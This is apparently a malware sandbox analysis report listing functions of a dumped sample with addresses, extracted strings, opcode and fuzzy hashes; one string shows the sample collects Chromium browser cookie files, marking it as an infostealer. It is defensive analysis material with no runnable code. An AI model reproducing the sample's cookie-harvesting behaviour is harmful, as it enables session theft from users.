Download Yara Rule

Strings

o=_?, xrefs: 00FAF0C0
X1S3, xrefs: 00FAF0CA
@5O7, xrefs: 00FAF0D4
pAuC, xrefs: 00FAF0F2
tEDG, xrefs: 00FAF0FC

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: @5O7$X1S3$o=_?$pAuC$tEDG
API String ID: 0-858526541
Opcode ID: a8aec1587e37def0222da65ad8556f3371465ee7685ca0a10df8aae975d589b3
Instruction ID: c84ff8e439219465b40a8ae94411e78f5a802b65a927254426873971a1b0c00f
Opcode Fuzzy Hash: a8aec1587e37def0222da65ad8556f3371465ee7685ca0a10df8aae975d589b3
Instruction Fuzzy Hash: 796151B0605B86AFE328CF25C891795FBA2FB52704F108A0DC0AA5BB45D735B466CFD4

Uniqueness

Uniqueness Score: -1.00%

Function 00FA52F0 Relevance: 3.4, Strings: 2, Instructions: 851COMMON

Download Yara Rule

Strings

8, xrefs: 00FA5C82
0, xrefs: 00FA5C8A

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: 0$8
API String ID: 0-46163386
Opcode ID: e2231f16f99b54f996a98a0bf3de0ff9a582ce289ca181e016bd4bbeb54389ae
Instruction ID: cbee04ef30e9177887418df9cba7b3b3ed922d664e948d85e83fd05c2869cb77
Opcode Fuzzy Hash: e2231f16f99b54f996a98a0bf3de0ff9a582ce289ca181e016bd4bbeb54389ae
Instruction Fuzzy Hash: FF728BB1A087409FD714CF18C890B9BBBE2BF99714F18892DF9898B391D375D844DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FD9AF0 Relevance: 2.8, Strings: 2, Instructions: 310COMMON

Download Yara Rule

Strings

R-,T, xrefs: 00FD9B90
R-,T, xrefs: 00FD9C80

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: R-,T$R-,T
API String ID: 0-2000385741
Opcode ID: 407c4462e1263b7cbac799b7631450366ed28f76eb96df75cabcff75d6a47985
Instruction ID: 480418e4be6636e0097b7ce0c89c233fa20ec78eac2daeaddcde1e202686317d
Opcode Fuzzy Hash: 407c4462e1263b7cbac799b7631450366ed28f76eb96df75cabcff75d6a47985
Instruction Fuzzy Hash: D1A1CD71A083128BC724CF18C49066AB7E2FFC8724F198A1EE8959B391D774ED11DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3E4A Relevance: 2.6, Strings: 2, Instructions: 146COMMON

Download Yara Rule

Strings

", xrefs: 00FB4057
Z%_#, xrefs: 00FB3F49

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: "$Z%_#
API String ID: 0-3398817662
Opcode ID: cae29fcf3548f844793013b78787b729c4dfd9ef1a0bf7f86168c353ec4d92cc
Instruction ID: fce6becee1b656304c30e7d586df2852527fa66c9d933f4eec489488fb253e56
Opcode Fuzzy Hash: cae29fcf3548f844793013b78787b729c4dfd9ef1a0bf7f86168c353ec4d92cc
Instruction Fuzzy Hash: 5C61FCB0101B419BE3258F21D8A9BE7BBE1FF46348F54890DC1EB4B281DBB62149CF80

Uniqueness

Uniqueness Score: -1.00%

Function 00FD5412 Relevance: 2.6, Strings: 2, Instructions: 113COMMON

Download Yara Rule

Strings

0m=s, xrefs: 00FD5488
@, xrefs: 00FD5778

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: 0m=s$@
API String ID: 0-131613617
Opcode ID: 6aa2f584760978404ec7d12b7ac9569be24ca6a8146796b792f06361893065ae
Instruction ID: d4351b31b8ace13f95ea0da51ff28ad3eb5448df1055ebcec25de49636fabf3a
Opcode Fuzzy Hash: 6aa2f584760978404ec7d12b7ac9569be24ca6a8146796b792f06361893065ae
Instruction Fuzzy Hash: 9D3113B09183448BD724CF18C8A072BBBF1FF86759F68081EE4959B350E379C589DB56

Uniqueness

Uniqueness Score: -1.00%

Function 00FC58A2 Relevance: 2.1, Strings: 1, Instructions: 839COMMON

Download Yara Rule

Strings

))+ , xrefs: 00FC62E0

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: ))+
API String ID: 0-2264702822
Opcode ID: f3975d2588e409c97695625e0d545d30998404821acf98b20a9f27eed1ad85ce
Instruction ID: 7a1079c0486b841d4890e965a7710bfe1c0a0f8f8f5a71333104dc97b016a27d
Opcode Fuzzy Hash: f3975d2588e409c97695625e0d545d30998404821acf98b20a9f27eed1ad85ce
Instruction Fuzzy Hash: 2252ED70504B428BD329CF29C595B62BBE2BF46314F588A2DD0E78BB82C739F445DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00FA1000 Relevance: 1.8, Strings: 1, Instructions: 544COMMON

Download Yara Rule

Strings

, xrefs: 00FA12C9

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: dc156d1b6bf62fec838ac7d7ba626beddb15c4f554812457aa229062977e1e08
Instruction ID: dac7aa398e267c53f5781aff4e70897f949093ccfba5562ea1d4e67f60d75eef
Opcode Fuzzy Hash: dc156d1b6bf62fec838ac7d7ba626beddb15c4f554812457aa229062977e1e08
Instruction Fuzzy Hash: 6A12F2A19087808BE724CE29C094367BFE2BBD7320F1AC95ED4D6477D6D2789849F742

Uniqueness

Uniqueness Score: -1.00%

Function 00FB6CDD Relevance: 1.6, Strings: 1, Instructions: 374COMMON

Download Yara Rule

Strings

d!`#, xrefs: 00FB6E59

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: d!`#
API String ID: 0-1796573514
Opcode ID: eeb9652498e93e8a4935f682d62c719d6b153eb7401299516a4838c465282551
Instruction ID: 87bffdbe38b8645e48a5904719adfdc9c0f8cb7822afda9fba5b1b9355498254
Opcode Fuzzy Hash: eeb9652498e93e8a4935f682d62c719d6b153eb7401299516a4838c465282551
Instruction Fuzzy Hash: 4FC19A756007018BD728CF29C8A17A2B3B2FF8A314F19861DD8968B795E738E845DF90

Uniqueness

Uniqueness Score: -1.00%

Function 00FBA8C0 Relevance: 1.6, Strings: 1, Instructions: 304COMMON

Download Yara Rule

Strings

onqp, xrefs: 00FBAB46

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: cd09dc753a6cd5924c0ae990791fdfd9c0689528701d7dc909700a7c859d7e55
Instruction ID: 654ce1b436187ebb2baa131fae633f6624e396504e9f22e9a22dd15547ff2011
Opcode Fuzzy Hash: cd09dc753a6cd5924c0ae990791fdfd9c0689528701d7dc909700a7c859d7e55
Instruction Fuzzy Hash: 4981F2B29042019BD714DF15CCA2BBBB3B5EF81364F194518E8965B381E378ED01EBA3

Uniqueness

Uniqueness Score: -1.00%

Function 00FBA420 Relevance: 1.5, Strings: 1, Instructions: 296COMMON

Download Yara Rule

Strings

'QRS, xrefs: 00FBA556

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: 'QRS
API String ID: 0-187708292
Opcode ID: ae6ee3a89638a7fdb7e706c294a482b01831678f2332d072d8f8bd03641aa3c9
Instruction ID: 775641c403b9c23c11add71aac2e9c690f15f8da2e7707172d7af45f99a34f49
Opcode Fuzzy Hash: ae6ee3a89638a7fdb7e706c294a482b01831678f2332d072d8f8bd03641aa3c9
Instruction Fuzzy Hash: 6B7104B19042108BDB24DF19C892BB773F2EF95324F19855CE8924B3A1E775DD01EBA2

Uniqueness

Uniqueness Score: -1.00%

Function 00FA65F0 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

,, xrefs: 00FA6747

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: ,
API String ID: 0-3772416878
Opcode ID: 3396d62e2048fa093097fda78be89d79a03400b317c59f17132475d5f544bc36
Instruction ID: 777ebfea1bc14677097702b578c1a0e0e1912367efe432b2c46b98f516c2d41e
Opcode Fuzzy Hash: 3396d62e2048fa093097fda78be89d79a03400b317c59f17132475d5f544bc36
Instruction Fuzzy Hash: 56B13AB1509381AFD314CF58C88475BFBE0AFAA304F484A1DF5989B382C775DA18CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FB3C46 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

[info] collected cookies file of the chromium-based browser, xrefs: 00FB3D16

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: [info] collected cookies file of the chromium-based browser
API String ID: 0-3235166063
Opcode ID: a79c43101b9a2d576cb90b51d4c61ea43b69c2afdcb446a3bbf47c46f7568c9c
Instruction ID: 41e9fc2f9b54eb18998d2637f35ca4dd650ea8058b868a1167c73d8fb0de20a9
Opcode Fuzzy Hash: a79c43101b9a2d576cb90b51d4c61ea43b69c2afdcb446a3bbf47c46f7568c9c
Instruction Fuzzy Hash: 5C412A70255B40CBE329DB34C895BEBB7F2BB45315F845A2CD0AB4B2C2DBB475069B50

Uniqueness

Uniqueness Score: -1.00%

Function 00FB4C49 Relevance: 1.3, Strings: 1, Instructions: 80COMMON

Download Yara Rule

Strings

onqp, xrefs: 00FB4CBE

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID: onqp
API String ID: 0-1718216680
Opcode ID: 9948d4b256273ce834c00536dc6d654cec09e4d8782f2d5ee1146d33c4c10e60
Instruction ID: 4ae0099462059a43c0a5eeb69956048a9afdf3ae21c4d459ea07a26c0e3729e8
Opcode Fuzzy Hash: 9948d4b256273ce834c00536dc6d654cec09e4d8782f2d5ee1146d33c4c10e60
Instruction Fuzzy Hash: AD218D756183818FD368CF05C5A07AFB7E2AFC6714F54181CE5868B782C7B9A8429F86

Uniqueness

Uniqueness Score: -1.00%

Function 00FA7CB0 Relevance: .9, Instructions: 863COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2f5b37d1fe015b661790963238e08819ac14a54e74e6a3a607d9c5fcffe0d60f
Instruction ID: 4a31065cb537b8d055248181c92998ab1ceb83e930f5786b807c89d32d7dbdd2
Opcode Fuzzy Hash: 2f5b37d1fe015b661790963238e08819ac14a54e74e6a3a607d9c5fcffe0d60f
Instruction Fuzzy Hash: 40524BB19087118BC725DF18D8806BAB3E1FFC5354F198A2DD9C687385EB74E852DB82

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3260 Relevance: .7, Instructions: 739COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c3aff34c477db3fa8ac2c81e4734aeb1e2e798be76f1e58bb5c3a85c314b246
Instruction ID: bf73739c6711b42ae901e065294a917f474a2ca19503a4a9e7b4ba47b0868837
Opcode Fuzzy Hash: 1c3aff34c477db3fa8ac2c81e4734aeb1e2e798be76f1e58bb5c3a85c314b246
Instruction Fuzzy Hash: C3629FB5A083528FC715CF18C09066AF7E2FF99314F188AADE4C99B342D735E985DB81

Uniqueness

Uniqueness Score: -1.00%

Function 00FD45F0 Relevance: .7, Instructions: 654COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0599a3b8eb011469a4649889099dc29bb9832b32d04954963de279007a776947
Instruction ID: 0157ef51662a48b6217219e5afcaf94fb240a71b863f0755aecef7f241460c35
Opcode Fuzzy Hash: 0599a3b8eb011469a4649889099dc29bb9832b32d04954963de279007a776947
Instruction Fuzzy Hash: B2329D70A083828FD714CF18C89072FBBE2BB95314F184A2EE5E59B395C775E905DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00FA3D70 Relevance: .6, Instructions: 606COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c8b9d8f6ce75429b88441a4be0988231cc2a77f7b7464c442045eba53a220ebc
Instruction ID: 4de3d2288cd852adec23ef045fd6ee2a148bcb65bed662d076e80e03bc49513d
Opcode Fuzzy Hash: c8b9d8f6ce75429b88441a4be0988231cc2a77f7b7464c442045eba53a220ebc
Instruction Fuzzy Hash: E2424CB1514B118FC768CF28C58066ABBF1FF96310B508A2DE9978BB90D375F945EB10

Uniqueness

Uniqueness Score: -1.00%

Function 00FA6030 Relevance: .5, Instructions: 506COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746250109.000000000100E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746271978.0000000001014000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746800274.0000000001895000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fa0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d9ad6f4e45c733b248760025bc0fe85913c8321502d9534f3386eb258ffc1704
Instruction ID: a0c3bdd3007eedc7cfbdb507a949fbe056bf30538a0860734c3b53dcefac4a14
Opcode Fuzzy Hash: d9ad6f4e45c733b248760025bc0fe85913c8321502d9534f3386eb258ffc1704
Instruction Fuzzy Hash: 3502B5766083408FDB14CF19C88076ABBE2EFC9314F08886DE989CB356E675DD05DB96

Uniqueness

Uniqueness Score: -1.00%

Function 00FC594F Relevance: .4, Instructions: 439COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1746160530.0000000000FA1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00FA0000, based on PE: true

Associated: 00000000.00000002.1746143920.0000000000FA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746189781.0000000000FDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746207059.0000000000FDE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1746224822.0000000000FE9000.00000020.00000001.01000000.00000003.sdmpDownload File
